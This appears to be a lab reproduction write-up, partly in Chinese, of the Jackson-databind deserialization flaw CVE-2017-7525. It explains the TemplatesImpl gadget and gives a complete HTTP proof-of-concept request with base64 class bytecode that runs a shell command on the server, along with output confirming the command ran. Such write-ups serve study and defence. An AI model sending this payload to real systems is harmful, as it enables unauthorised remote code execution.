CVE-2017-7525 (Jackson deserialization vulnerability)

Vulnerability principle

Jackson-databind supports the Polymorphic Deserialization feature (not enabled by default). When there are polymorph fields in the Target class for json string conversion, that is, when the field type is an interface, abstract class, or Object type, the attacker can pass in the json string Specify the specific type of the variable (subclass or interface implementation class) to instantiate the specified class. With the help of some special classes, such as TemplatesImpl, arbitrary code execution can be realized.

详见：https://blog.csdn.net/xuandao_ahfengren/article/details/106805679

Vulnerability recurrence

地址：http://10.7.10.41:49157/

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Use com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl of JDK7u21 as Gadget, send the following request, touch /tmp/prove1.txt will be executed:

POC：
POST /exploit HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298
 
{
    
    
  "param": [
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    {
    
    
      "transletBytecodes": [
  "yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
      ],
      "transletName": "a.b",
      "outputProperties": {
    
    }
    }
  ]
}

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Found a new file in this directory

[root@localhost /]# find -name "prove1.txt"
./tmp/prove1.txt

Reproduce the reference article: https://blog.csdn.net/xuandao_ahfengren/article/details/106805679